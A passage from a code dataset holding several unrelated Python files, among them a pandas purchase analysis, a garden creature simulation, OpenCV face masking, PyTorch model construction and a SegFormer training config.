kwarg2='kek')\n","sub_path":"tasks/task06/decorators.py","file_name":"decorators.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"371368253","text":"from django.urls import path\nfrom app_report import views\n\n\nurlpatterns = [\n\n # page\n path('', views.report_list),\n path('scan_report', views.scan_report),\n\n path('snapshot//', views.snapshot_list),\n path('/', views.report_preview),\n path('case_tree/', views.case_tree),\n path('case_screenshots/', views.case_screenshots),\n path('test/', views.test),\n\n]\n","sub_path":"test_platform/app_report/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"557610841","text":"\"\"\"\r\nAuthor: Anders Swanson\r\nDate: 12/18/2016\r\nFilename: Staircase.py\r\n\r\nThe program computes the total number of staircase\r\nvariations that can be created with n bricks.\r\nThis problem reduces to counting the number of\r\nsubsets from a set which sum to n. \r\n\"\"\"\r\n\r\n\r\ndef staircase_count(n):\r\n \"\"\"\r\n For each number, find if there exists a possible sum\r\n to n from the elements of l.\r\n The staircase problem is a variation of the SubsetSum\r\n problem, but this time we are counting all subsets\r\n which sum to n. \r\n \"\"\"\r\n l = list(range(1,n+1))\r\n arr = [1] + [0] * (n)\r\n\r\n for i in l:\r\n for j in range(n - i, -1, -1):\r\n if arr[j]:\r\n arr[i + j] += arr[j]\r\n \r\n #Because our staircase must have two steps, we ignore the case where\r\n #the sum is one number (n)\r\n return arr[n] - 1\r\n\r\ndef answer(n):\r\n if n < 3 or n > 200:\r\n return 0\r\n \r\n return staircase_count(n)\r\n \r\n","sub_path":"Foobar/level_3/Staircase.py","file_name":"Staircase.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"296931786","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[56]:\n\n\n# Dependencies and Setup\nimport pandas as pd\n\n# File to Load (Remember to Change These)\nfile_to_load = \"Resources/purchase_data.csv\"\n\n# Read Purchasing File and store into Pandas data frame\npurchase_data = pd.read_csv(file_to_load)\n\n\n# In[58]:\n\n\npurchase_data.head()\n\n\n# In[59]:\n\n\n#Show columns\npurchase_data.columns\n\n\n# In[60]:\n\n\n#Count total number of players\nplayers=purchase_data[[\"SN\",\"Age\",\"Gender\"]].drop_duplicates()\n#Count row by row\ntotal_players = len(purchase_data[\"SN\"].unique().tolist())\ntotal_players\nprint(total_players)\n\n\n# In[61]:\n\n\n#Purchasing analysis\n#Find number of unique items\nunique_items = purchase_data[\"Item ID\" ].nunique()\n\n# Find Average Purchase Price\naverage_purchase_price = purchase_data[\"Price\"].mean()\n\n# Find Total Number of Purchases\ntotal_number_of_purchases = purchase_data[\"Price\"].count()\n#total_number_of_purchases\n# Find Total Revenue\ntotal_revenue=purchase_data[\"Price\"].sum()\n\n#Create a Dataframe to display summary\ntotal_analysis={\"Number of Unique items\":unique_items,\"Average Purchase Price\":round(average_purchase_price,2),\n \"Total Number of Purchases\":total_number_of_purchases,\"Total Revenue\":round(total_revenue,2)}\npurchasing_analysis=pd.DataFrame([total_analysis])\n\npurchasing_analysis[\"Average Purchase Price\"]=purchasing_analysis[\"Average Purchase Price\"].map(\"${:.2f}\".format)\npurchasing_analysis[\"Total Revenue\"] = purchasing_analysis[\"Total Revenue\"].map(\"${:.2f}\".format)\npurchasing_analysis\n\n\n# In[62]:\n\n\n#Count amount of male players (go down list and find all occurences of 'male')\n#set index to gender\n#Convert into a percentage\n#Count amount of female players\n#Convert to percentage\n#Count amount of undiscolosed\n#Covert to percentage\n\ngender_data = purchase_data.loc[:,(\"Gender\", \"SN\")]\ngender_data1 = gender_data.groupby(\"Gender\")[\"SN\"].nunique()\ngender_data1 = pd.DataFrame(gender_data1)\ngender_data1 = gender_data1.rename(columns={\"SN\":\"Number\"})\n\n#calculate percents and create new dataframe\ngender_totals = gender_data1.loc[:, \"Number\"]\ngender_percent = gender_totals/total_players\ngender_columns = {'Total Count': gender_totals, 'Percent of Players': gender_percent}\ngendercounts_df = pd.DataFrame(gender_columns)\ngendercounts_df.sort_values(by=['Total Count'],inplace = True, ascending = False)\ngendercounts_df[\"Percent of Players\"] = gendercounts_df[\"Percent of Players\"].map(\"{:,.2%}\".format)\ngendercounts_df\n\n\n# In[65]:\n\n\n#Groupby Gender\ngender_data_purchase_data = purchase_data.groupby([\"Gender\"])\n\n#Find purchase counts by gender\ngender_data_purchase_data[\"Purchase ID\"].count().head(10)\n\n#Find total purchase value by gender\ntotal_purchase_value= gender_data_purchase_data[\"Price\"].sum()\n#total_purchase_value.head()\n\n#format\nformat_total_purchase_value = total_purchase_value.map(\"${:,.2f}\".format)\n\n#Find average purchase price by gender\naverage_purchase_price = gender_data_purchase_data[\"Price\"].mean()\n#average_purchase_price.head()\n\nformat_average_purchase_price = average_purchase_price.map(\"${:.2f}\".format)\n#format_average_purchase_price.head()\n\n# Find normalized totals, total purchases value by purchase count by gender\nnormalized_totals = total_purchase_value/gender_data_purchase_data[\"Purchase ID\"].count()\nformat_normalized_totals = normalized_totals.map(\"${:,.2f}\".format)\n#format_normalized_totals.head()\n\n#Organize data \ntotal_gender_purchased_data = pd.DataFrame(gender_data_purchase_data[\"Purchase ID\"].count())\ntotal_gender_purchased_data[\"Average Purchase Price\"] = format_average_purchase_price\ntotal_gender_purchased_data[\"Total Purchase Value\"] = format_total_purchase_value\ntotal_gender_purchased_data[\"Normalized Totals\"] = format_normalized_totals\n#fin_gender_purchased_data\n\n#Summary of Data analysis DF grouped by Gender, rename \"Purchase ID\" column to \"Purchase Count\" with the .rename(columns={}) \ngender_summary = total_gender_purchased_data.rename(columns={\"Purchase ID\":\"Purchase Count\"})\ngender_summary\n\n\n# In[66]:\n\n\nplayers.head()\n\n\n# In[67]:\n\n\n#Age demographics\nplayers=purchase_data[[\"SN\",\"Age\",\"Gender\"]].drop_duplicates()\n\n#Count row by row\ntotal_players = len(purchase_data[\"SN\"].unique().tolist())\ntotal_players\n\nage_demographics = players.loc[:,(\"Age\",\"SN\")]\nage_demographics_totals = age_demographics.sort_values(\"Age\")\nage_bins = [0,9.90,14.90,19.90,24.90,29.90,34.90,39.90,99999]\ngroup_names = [\"<10\", \"10-14\", \"15-19\", \"20-24\", \"25-29\", \"30-34\", \"35-39\", \"40+\"]\n\n#Create age bins\nage_demographics_totals[\"Age Ranges\"] = pd.cut(age_demographics[\"Age\"], age_bins, labels=group_names)\n\n#Calculate Age Group numbers\nage_demographics_totals = age_demographics_totals[\"Age Ranges\"].value_counts()\nage_demographics_percents = age_demographics_totals / total_players\nage_demographics = pd.DataFrame({\"Total Count\": age_demographics_totals, \"Percentage of Players\":age_demographics_percents})\n\n#Format\nage_demographics[\"Percentage of Players\"] = age_demographics[\"Percentage of Players\"].map(\"{:,.2%}\".format)\n\nage_demographics = age_demographics.sort_index()\nage_demographics\n\n\n# In[69]:\n\n\n#Purchasing analysis\n# Run basic calculations to obtain purchase count, avg. purchase price, avg. purchase total per person etc. in the table below\n\npurchase_data[\"Age Ranges\"] = pd.cut(purchase_data[\"Age\"], age_bins, labels=group_names)\naverage_purchase_total= purchase_data.groupby([\"Age Ranges\"]).sum()[\"Price\"].rename(\"Total Purchase Value\")\nage_average=purchase_data.groupby([\"Age Ranges\"]).mean()[\"Price\"].rename(\"Average Purchase Price\")\nage_counts=purchase_data.groupby([\"Age Ranges\"]).count()[\"Price\"].rename(\"Purchase Count\")\n\n#conversion to a DataFrame\nnormalized_total = average_purchase_total / age_demographics[\"Total Count\"]\n#create the index\nage_data = pd.DataFrame({\"Purchase Count\": age_counts, \"Average Purchase Price\": age_average, \"Total Purchase Value\": average_purchase_total, \"Normalized Totals\": normalized_total})\n\nage_data[\"Average Purchase Price\"]= age_data[\"Average Purchase Price\"].map(\"${:,.2f}\".format)\nage_data[\"Total Purchase Value\"]= age_data[\"Total Purchase Value\"].map(\"${:,.2f}\".format)\nage_data[\"Purchase Count\"]= age_data[\"Purchase Count\"]\nage_data[\"Average Total Purchase per Person\"]= age_data[\"Normalized Totals\"].map(\"${:,.2f}\".format)\n#create the DataFrame\nage_data = age_data.loc[:, [\"Purchase Count\", \"Average Purchase Price\", \"Total Purchase Value\", \"Average Total Purchase per Person\" ]]\n\nage_data\n\n\n# In[51]:\n\n\n#Top spenders\n# top 5 spenders in the game by total purchase value, then list (in a table):\n#SN\n#Purchase Count\n#Average Purchase Price\n#Total Purchase Value\n\n#Extract item Data\nitem_data = pd.DataFrame(file_path_df)\n\n#item_data.head()\ntop_spendors = item_data.groupby(\"SN\")\ntop_spendors.count()\nanalysis_per_spendor = pd.DataFrame(top_spendors[\"Purchase ID\"].count())\ntotal_purchase_SN = top_spendors[\"Price\"].sum()\naverage_purchase_price_SN = top_spendors[\"Price\"].mean()\navg_purchase_price = average_purchase_price_SN.map(\"${:,.2f}\".format)\nanalysis_per_spendor[\"Average Purchase Price\"] = avg_purchase_price\nanalysis_per_spendor[\"Total Purchase Value\"] = total_purchase_by_SN\nsummary_SN_purchase_data = analysis_by_spendor.rename(columns={\"Purchase ID\": \"Purchase Count\"})\nTop_Spendors = summary_SN_purchase_data.sort_values(\"Total Purchase Value\", ascending=False)\ntotal_purchase = total_purchase_by_SN.map(\"${:,.2f}\".format)\nTop_Spendors[\"Total Purchase Value\"] = total_purchase\nTop_Spendors.head(5)\n\n\n# In[52]:\n\n\n#Most popular items\n#extract item data\nitem_data = file_path_df.loc[:,[\"Item ID\", \"Item Name\",\"Price\"]]\n#perform calculations\ntot_item_purchase= item_data.groupby([\"Item ID\", \"Item Name\"]).sum()[\"Price\"].rename(\"Total Purchase Value\")\navg_item_purchase= item_data.groupby([\"Item ID\", \"Item Name\"]).mean()[\"Price\"]\nitem_count = item_data.groupby([\"Item ID\", \"Item Name\"]).count()[\"Price\"].rename(\"Purchase Count\")\n#Create the DataFrame\nitem_data_df = pd.DataFrame({\"Total Purchase Value\": tot_item_purchase, \"Item Price\": avg_item_purchase, \"Purchase Count\": item_count})\n#sort the values\nidc_sorted = item_data_df.sort_values(\"Purchase Count\", ascending=False)\n#Data Manipulation\nidc_sorted[\"Item Price\"]=idc_sorted[\"Item Price\"].map(\"${:,.2f}\".format)\nidc_sorted[\"Purchase Count\"]=idc_sorted[\"Purchase Count\"].map(\"{:,}\".format)\nidc_sorted[\"Total Purchase Value\"]=idc_sorted[\"Total Purchase Value\"].map(\"${:,.2f}\".format)\nitem_pop = idc_sorted.loc[:,[\"Purchase Count\", \"Item Price\", \"Total Purchase Value\"]]\nitem_pop.head(5)\n\n\n# In[54]:\n\n\n#Most profitable items\nitem = item_data_df.sort_values(\"Total Purchase Value\", ascending = False)\nitem[\"Item Price\"]= item[\"Item Price\"].map(\"${:,.2f}\".format)\nitem[\"Purchase Count\"]= item[\"Purchase Count\"].map(\"{:,}\".format)\nitem[\"Total Purchase Value\"]= item[\"Total Purchase Value\"].map(\"${:,.2f}\".format)\nprofit = item.loc[:,[\"Purchase Count\",\"Item Price\",\"Total Purchase Value\" ]]\nprofit.head()\n\n","sub_path":"Pandas_Challenge.py","file_name":"Pandas_Challenge.py","file_ext":"py","file_size_in_byte":8899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"642574492","text":"import sys\nimport sys\nimport os\nfrom math import atan\nfrom math import degrees\n\nfrom python_brlcad_tcl.brlcad_tcl import *\n\nclass cone_example(BrlCadModel):\n\tdef __init__(self, brl_db):\n\t\tsuper(cone_example, self).__init__(brl_db)\n\t\tv = (0, 0, 0)\n\t\ta = (0, 0, 10)\n\t\tb = (5, 0 , 0)\n\t\tc = (0, 3, 0)\n\t\theight_vector = (0, 0, 10)\n\t\tratio = 0.6\n\t\tbase_radius = 1\n\t\ttop_radius = 5\n\t\tcscalar = 2\n\t\tdscalar = 9\n\n\t\tdef draw_cone_elleptical(name, v, a, b, c, ratio):\n\t\t\tbrl_db.cone_elliptical(\"cone_elliptical\", v, a, b, c, ratio)\n\n\t\tdef draw_cone_trc(name, v, a, base_radius, top_radius):\n\t\t\tbrl_db.cone(name, v, a, base_radius, top_radius)\n\n\t\tdef draw_cone_general(name, v, height_vector, a, b, cscalar, dscalar):\n\t\t\tbrl_db.cone_general(name, v, height_vector, b, c, cscalar, dscalar)\n\n\t\tdraw_cone_elleptical(\"tec_cone\", v, a, b, c, ratio)\n\t\tdraw_cone_trc(\"trc_cone\", v, a, base_radius, top_radius)\n\t\tdraw_cone_general(\"gen_cone\", v, height_vector, a, b, cscalar, dscalar)\n\ndef main(argv):\n\twith brlcad_tcl(argv[1], \"My Database\") as brl_db:\n\t\tnew_cone_example = cone_example(brl_db)\n\t\t# All units in the database file are stored in millimeters. This constrains\n\t\t# the arguments to the mk_* routines to also be in millimeters.\n\t# process the tcl script into a g database by calling mged\n\tbrl_db.save_g()\n\t# process the g database into an STL file with a list of regions\n\tbrl_db.save_stl(['new_cone_example'])\n\nif __name__ == \"__main__\":\n\tmain(sys.argv)","sub_path":"examples/cone_example.py","file_name":"cone_example.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"368399985","text":"from spark.models.base_constructor import check_model_information\nfrom .base_constructor import BaseModelConstructor\nimport torch\nimport warnings\n\ntorchvision_space = \"RGB\"\ntorchvision_input_size = (3, 224, 224)\ntorchvision_mean = (0.485, 0.456, 0.406)\ntorchvision_std = (0.229, 0.224, 0.225)\ntorchvision_input_range = (0, 1)\n\n__all__ = [\"SLMCModelConstructor\"]\n\n\nclass SLMCModelConstructor(BaseModelConstructor):\n def __init__(self, opts):\n super(SLMCModelConstructor, self).__init__(opts)\n self.pretrained = opts.pretrained\n self.base_module = check_model_information(self.model_object)\n self.train_dataloader = None\n self.test_dataloader = None\n\n def create(self, num_classes, map_location=\"cpu\"):\n temp_model = None\n if self.base_module == \"pretrainedmodels\":\n temp_model = self.model_object()\n original_input_size = temp_model.input_size\n original_mean = temp_model.mean\n original_std = temp_model.std\n\n if tuple(original_input_size) != tuple(self.input_size):\n warnings.warn(\"Current input image size {} for {} is not same\"\n \" with the models original setting {}\".format(self.input_size,\n self.model_name, original_input_size))\n elif tuple(original_mean) != tuple(self.opts.mean):\n warnings.warn(\"Current input mean {} for {} is not same \"\n \"with the models original {}\".format(self.opts.mean,\n self.model_name, original_mean))\n elif tuple(original_std) != tuple(self.opts.std):\n warnings.warn(\"Current input std {} for {} is not same \"\n \"with the models original {}\".format(self.opts.std,\n self.model_name, original_std))\n\n if self.pretrained == \"imagenet\":\n temp_model = self.model_object(num_classes=num_classes, pretrained=self.pretrained)\n elif self.pretrained is not None and self.pretrained is not False:\n temp_model = self.model_object(num_classes=num_classes)\n temp_model = self.load_checkpoint(temp_model, self.pretrained)\n else:\n temp_model = self.model_object(num_classes=num_classes)\n\n elif self.base_module == \"spark\":\n\n if self.pretrained == \"imagenet\":\n temp_model = self.model_object(input_size=self.input_size, num_classes=num_classes,\n pretrained=self.pretrained)\n elif self.pretrained is not None and self.pretrained is not False:\n temp_model = self.model_object(input_size=self.input_size, num_classes=num_classes)\n temp_model = self.load_checkpoint(temp_model, self.pretrained)\n else:\n pass\n\n elif self.base_module == \"torchvision\":\n warnings.warn(\"torchvision model {} does not support mutable class number.\")\n if tuple(torchvision_input_size) != tuple(self.input_size):\n warnings.warn(\"Current input image size {} for {} is \"\n \"not same with the models original setting {}.\"\n \"\".format(self.input_size, self.model_name, torchvision_input_size))\n elif tuple(torchvision_mean) != tuple(self.opts.mean):\n warnings.warn(\"Current input mean {} for {} is \"\n \"not same with the models original {}.\"\n \"\".format(self.opts.mean, self.model_name, torchvision_mean))\n elif tuple(torchvision_std) != tuple(self.opts.std):\n warnings.warn(\"Current input std {} for {} is \"\n \"not same with the models original {}.\"\n \"\".format(self.opts.std, self.model_name, torchvision_std))\n\n if type(self.pretrained) == str:\n temp_model = self.model_object(pretrained=False)\n temp_model = self.load_checkpoint(temp_model, self.pretrained)\n elif self.pretrained:\n temp_model = self.model_object(pretrained=True)\n else:\n temp_model = self.model_object(pretrained=False)\n\n if self.__check_model_forward(temp_model, self.opts.input_size) == True:\n return temp_model\n\n def inspect(self):\n temp_model = self.create(num_classes=10000)\n try:\n self.__check_model_forward(temp_model, self.opts.input_size)\n print(\"Model {} is successfully \"\n \"process the sample tensor.\".format(self.opts.model_name))\n return True\n except ValueError:\n print(\"Model {} cannot process sample tensor. \"\n \"Please check the model setting\".format(self.opts.model_name))\n return False\n\n @staticmethod\n def __check_model_forward(model, input_size):\n try :\n test_tensor = torch.randn(1, input_size[0], input_size[1], input_size[2], device=\"cpu\")\n model.forward(test_tensor)\n return True\n except ValueError:\n print(\"This model failed to forward {} size tensor.\"\n \" Please check the model setting once more\".format(input_size))\n\n\n def add_train_transform(self, target_transforms):\n if type(target_transforms) != tuple or type(target_transforms) != list:\n self.opts.train_transforms.append(target_transforms)\n else:\n for target_transform in target_transforms:\n self.opts.train_transforms.append(target_transform)\n\n def add_test_transform(self, target_transforms):\n if type(target_transforms) != tuple or type(target_transforms) != list:\n self.opts.test_transforms.append(target_transforms)\n else:\n for target_transform in target_transforms:\n self.opts.test_transforms.append(target_transform)","sub_path":"spark/models/model_constructor.py","file_name":"model_constructor.py","file_ext":"py","file_size_in_byte":6146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"340067014","text":"import json\nimport os\nfrom pygments.lexers import guess_lexer_for_filename\nfrom pygments.util import ClassNotFound\n\n\ndef main():\n path = \".\"\n language_dic = {}\n results = []\n all_length = 0\n for root, dirs, files in os.walk(path, topdown=True):\n for name in files:\n try:\n f = open(os.path.join(root, name), 'rb')\n content = f.read()\n language = guess_lexer_for_filename(name, content).name\n length = len(content)\n all_length += length\n if language_dic.get(language):\n language_dic[language] += length\n else:\n language_dic[language] = length\n result = {\"path\": os.path.join(root, name), \"language\": language}\n results.append(result)\n except ClassNotFound as e:\n pass\n print('summary: ')\n for k, v in language_dic.items():\n print(k + ': ' + str(v / all_length))\n print('results:')\n print(json.dumps(results, indent=4, sort_keys=True))\n\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"RepoMetrics/RepoMetrics.py","file_name":"RepoMetrics.py","file_ext":"py","file_size_in_byte":1125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"352707811","text":"import sys, heapq\n\n# max_heap : 최대 힙\n# min_heap : 최소 힙\nmax_heap = []\nmin_heap = []\n\n# ans : 정답 저장 배열\nans = []\n\n# 수열의 갯수 입력\nn = int(sys.stdin.readline())\nfor i in range(n):\n\n # 수열의 원소 입력\n m = int(sys.stdin.readline())\n \n # 같은 개수라면 무조건 최대힙으로 넣는다\n if len(max_heap) == len(min_heap):\n heapq.heappush(max_heap, (-1 * m,m))\n \n # 개수가 다르다는 것은 이전에 최대힙에 넣은 것이기 때문에\n # 개수를 맞춰주기 위해 최소힙에 넣는다\n else:\n heapq.heappush(min_heap, (m,m))\n \n # 앞에서 갯수 조건을 맞춰주었기에 대소 조건을 비교한다\n # 최소 힙의 top이 최대 힙의 top보다 작다면 두수를 바꿔준다 (최대 힙의 top이 중앙값이어야 하기 때문)\n if min_heap and max_heap[0][1] > min_heap[0][1]:\n temp_min = heapq.heappop(min_heap)[1]\n temp_max = heapq.heappop(max_heap)[1]\n heapq.heappush(max_heap, (-1 * temp_min, temp_min))\n heapq.heappush(min_heap, (temp_max, temp_max))\n \n # 갯수조건, 대소조건을 만족하였으니 최대 힙의 top이 중앙값이다\n ans.append(max_heap[0][1])\n\n# 정답 출력\nfor i in ans:\n print(i)","sub_path":"minjoo/단기간성장/1655.py","file_name":"1655.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"32482646","text":"# Deteksi wajah pada video secara real time, namun area yg tidak terdeteksi wajah\n# akan menjadi hitam, sehingga hanya menampilkan wajah saja\n\nimport cv2\nimport numpy as np\n\ncap = cv2.VideoCapture('D:/boku no projecto/python/image/cctv/videoplayback (5).mp4')\nface_cascade = cv2.CascadeClassifier('D:/boku no projecto/python/image/cctv/haarcascade_frontalface_default.xml')\n\n\ncounter = 0\nwhile cap.isOpened():\n ret, frame = cap.read()\n bg_hitam = np.zeros((720, 1280,3), dtype=np.uint8)\n\n counter = counter+1\n\n if counter%5==0 and counter > 10000:\n print(counter)\n\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n faces = face_cascade.detectMultiScale(gray, 1.2, 10)\n if (len(faces) > 0):\n for (x, y, w, h) in faces:\n # cv2.rectangle(frame, (x,y), (x+w, y+h), (255, 0, 0), 2)\n a = x-50\n b = y-50\n c = w+100\n d = h+100\n cv2.rectangle(frame, (a,b), (a+c, b+d), (255, 0, 0), 2)\n print(a,b,a+c,b+d)\n # bg_hitam[a:c, b:d] = frame\n print(frame.shape)\n bg_hitam[b:b+d, a:a+c] = frame[b:b+d, a:a+c]\n\n # simpan frame----------------------------------------\n # cv2.imwrite('D:/boku no projecto/python/image/cctv/frame_vid/'+str(counter)+'.jpg', frame)\n # simpan frame----------------------------------------\n\n # scale_percent = 200 # percent of original size\n # width = int(frame.shape[1] * scale_percent / 100)\n # height = int(frame.shape[0] * scale_percent / 100)\n # dim = (width, height)\n # # resize image\n # frame = cv2.resize(frame, dim, interpolation = cv2.INTER_AREA)\n\n # --view------------------------\n cv2.imshow(\"feed\", bg_hitam)\n if cv2.waitKey(40) == 27:\n break\n # --view------------------------\n\ncv2.destroyAllWindows()\ncap.release()\n","sub_path":"bg_hitam.py","file_name":"bg_hitam.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"419196458","text":"import multiprocessing as mp\nimport random\nimport string\n\nimport numpy as np\n\nrandom.seed(123)\n\n# Define an output queue\noutput = mp.Queue()\n\ndef parzen_estimation(x_samples, point_x, h):\n \"\"\"\n Implementation of a hypercube kernel for Parzen-window estimation.\n\n Keyword arguments:\n x_sample:training sample, 'd x 1'-dimensional numpy array\n x: point x for density estimation, 'd x 1'-dimensional numpy array\n h: window width\n\n Returns the predicted pdf as float.\n\n \"\"\"\n k_n = 0\n for row in x_samples:\n x_i = (point_x - row[:,np.newaxis]) / (h)\n for row in x_i:\n if np.abs(row) > (1/2):\n break\n else: # \"completion-else\"*\n k_n += 1\n return (k_n / len(x_samples)) / (h**point_x.shape[1])\n\n# define a example function\ndef rand_string(length, pos, output):\n \"\"\" Generates a random string of numbers, lower- and uppercase chars. \"\"\"\n rand_str = ''.join(random.choice(\n string.ascii_lowercase\n + string.ascii_uppercase\n + string.digits)\n for i in range(length))\n output.put((pos, rand_str))\n\n# Setup a list of processes that we want to run\nprocesses = [mp.Process(target=rand_string, args=(5, x, output)) for x in range(4)]\n\n# Run processes\nfor p in processes:\n p.start()\n\n# Exit the completed processes\nfor p in processes:\n p.join()\n\n# Get process results from the output queue\nresults = [output.get() for p in processes]\n\nprint(results)","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"265189296","text":"import random\nfrom widget import *\nfrom tako import *\n\nclass Garden:\n \"\"\" simulates a small environment containing\n objects and a creature which can\n go forward\n turn left/right\n eat\n play\n as well as seeing what is directly in front of it\n \"\"\"\n\n\n def __init__(self, size, num_tako):\n #create the map and add toy, grass, rock, creature\n if size < 3:\n raise ValueError\n self.size = size\n self.num_tako = num_tako\n self.reset()\n \n def reset(self):\n self.garden_map = [[Dirt() for x in range(self.size)]\n for x in range(self.size)]\n self.obj_list = []\n self.tako_list = []\n self.add_item(Rock())\n self.add_item(Ball())\n self.add_item(Ball())\n gras = 0\n while (gras <= (2 * self.size)):\n self.add_item(Grass())\n gras += 1\n while (len(self.tako_list)) < self.num_tako:\n self.add_creature()\n \n def add_item(self, item):\n while True:\n x = random.randrange(0, self.size)\n y = random.randrange(0, self.size)\n if isinstance(self.garden_map[y][x], Dirt):\n break\n self.garden_map[y][x] = item\n self.obj_list.append(item)\n item.x = x\n item.y = y\n\n def add_creature(self):\n while True:\n x = random.randrange(0, (self.size))\n y = random.randrange(0, (self.size))\n if isinstance(self.garden_map[y][x], Dirt):\n break\n direction = random.randrange(0,3)\n Tak = Tako(direction, x, y, \"alife.text\")\n self.garden_map[y][x] = Tak\n self.tako_list.append(Tak)\n \n def getSensors(self, tako):\n target = self.get_target(tako)\n obj = self.garden_map[target[1]][target[0]]\n return obj.node\n \n def performAction(self, index, tako):\n result = function_array[index](self, tako, tako.last_obj)\n return result\n\n def forward(self, tako, obj=None):\n #get target square\n target = self.get_target(tako)\n targ = self.garden_map[target[1]][target[0]]\n result = targ.intersected()\n #check if it's dirt\n if isinstance(self.garden_map[target[1]][target[0]], Dirt):\n self.garden_map[tako.y][tako.x] = Dirt()\n self.garden_map[target[1]][target[0]] = tako\n tako.y = target[1]\n tako.x = target[0]\n return result\n \n def turn_left(self, tako, obj):\n newdir = tako.direction\n newdir -= 1\n if newdir < 0:\n newdir = 3\n tako.direction = newdir\n return None\n\n def turn_right(self, tako, obj):\n newdir = tako.direction\n newdir += 1\n if newdir > 3:\n newdir = 0\n tako.direction = newdir\n return None\n\n #for now take eaten object out if grass\n def eat(self, tako, obj):\n target = self.get_target(tako)\n tako.last_obj = self.garden_map[target[1]][target[0]]\n if isinstance(tako.last_obj, Grass):\n self.obj_list.remove(tako.last_obj)\n self.garden_map[target[1]][target[0]] = Dirt()\n self.add_item(Grass())\n x = tako.last_obj\n result = x.eaten()\n return result\n\n #for now take played-with object out\n def play(self, tako, obj):\n target = self.get_target(tako)\n tako.last_obj = self.garden_map[target[1]][target[0]]\n x = tako.last_obj\n result = x.played()\n if isinstance(self.garden_map[target[1]][target[0]], Ball):\n self.obj_list.remove(self.garden_map[target[1]][target[0]])\n self.garden_map[target[1]][target[0]] = Dirt()\n self.add_item(Ball()) \n return result\n\n def get_target(self, tako):\n target = [tako.x, tako.y]\n # looking north\n if tako.direction == 0:\n # if on extreme north edge\n if tako.y == 0:\n target[1] = self.size - 1\n else:\n target[1] = tako.y - 1\n #east\n elif tako.direction == 1:\n if tako.x == self.size - 1:\n target[0] = 0\n else:\n target[0] = tako.x + 1\n #south\n elif tako.direction == 2:\n if tako.y == self.size - 1:\n target[1] = 0\n else:\n target[1] = tako.y + 1\n #west\n elif tako.direction == 3:\n if tako.x == 0:\n target[0] = self.size - 1\n else:\n target[0] = tako.x - 1\n return target\n\n\nfunction_array = [Garden.forward, Garden.turn_left, Garden.turn_right, Garden.eat, Garden.play]\n","sub_path":"garden.py","file_name":"garden.py","file_ext":"py","file_size_in_byte":4724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"308865717","text":"import sys\nfrom PyQt5 import QtWidgets\nfrom PyQt5.QtWidgets import QMessageBox\nfrom _dateForm import Ui_MainWindow\nfrom PyQt5.QtCore import QDate, QTime, QDateTime\n\nclass Window(QtWidgets.QMainWindow):\n def __init__(self):\n super(Window, self).__init__()\n self.ui = Ui_MainWindow()\n self.ui.setupUi(self)\n\n self.ui.btnCalculate.clicked.connect(self.calculate)\n\n def calculate(self):\n start = self.ui.dateStart.date()\n end = self.ui.dateEnd.date()\n print(start, end)\n\n print(\"Total Days: {0}\".format(start.daysTo(end)))\n\n now = QDate.currentDate()\n\n print(\"total days from now: {0}\".format(start.daysTo(now))) \n\n\n \n\n\n\n\n \n\n\n\n\napp = QtWidgets.QApplication(sys.argv)\nwin = Window()\nwin.show()\nsys.exit(app.exec_())\napp()","sub_path":"_date.py","file_name":"_date.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"393503445","text":"_base_ = [\n '../../_base_/models/segformer.py',\n '../../_base_/datasets/cityscapes_1024x1024_repeat.py',\n '../../_base_/default_runtime.py',\n '../../_base_/schedules/schedule_160k_adamw.py'\n]\n\n# model settings\nnorm_cfg = dict(type='SyncBN', requires_grad=True)\nfind_unused_parameters = True\nmodel = dict(\n type='EncoderDecoder',\n pretrained='pretrained/mit_b5.pth',\n backbone=dict(\n type='mit_b5',\n style='pytorch'),\n decode_head=dict(\n type='SegFormerHead',\n in_channels=[64, 128, 320, 512],\n in_index=[0, 1, 2, 3],\n feature_strides=[4, 8, 16, 32],\n channels=128,\n dropout_ratio=0.1,\n num_classes=19,\n norm_cfg=norm_cfg,\n align_corners=False,\n decoder_params=dict(embed_dim=768),\n loss_decode=dict(type='CrossEntropyLoss', use_sigmoid=False, loss_weight=1.0)),\n # model training and testing settings\n train_cfg=dict(),\n # test_cfg=dict(mode='whole'))\n test_cfg=dict(mode='slide', crop_size=(1024,1024), stride=(768,768)))\n\n# data\ndata = dict(samples_per_gpu=1)\nevaluation = dict(interval=4000, metric='mIoU')\n\n# optimizer\noptimizer = dict(_delete_=True, type='AdamW', lr=0.00006, betas=(0.9, 0.999), weight_decay=0.01,\n paramwise_cfg=dict(custom_keys={'pos_block': dict(decay_mult=0.),\n 'norm': dict(decay_mult=0.),\n 'head': dict(lr_mult=10.)\n }))\n\nlr_config = dict(_delete_=True, policy='poly',\n warmup='linear',\n warmup_iters=1500,\n warmup_ratio=1e-6,\n power=1.0, min_lr=0.0, 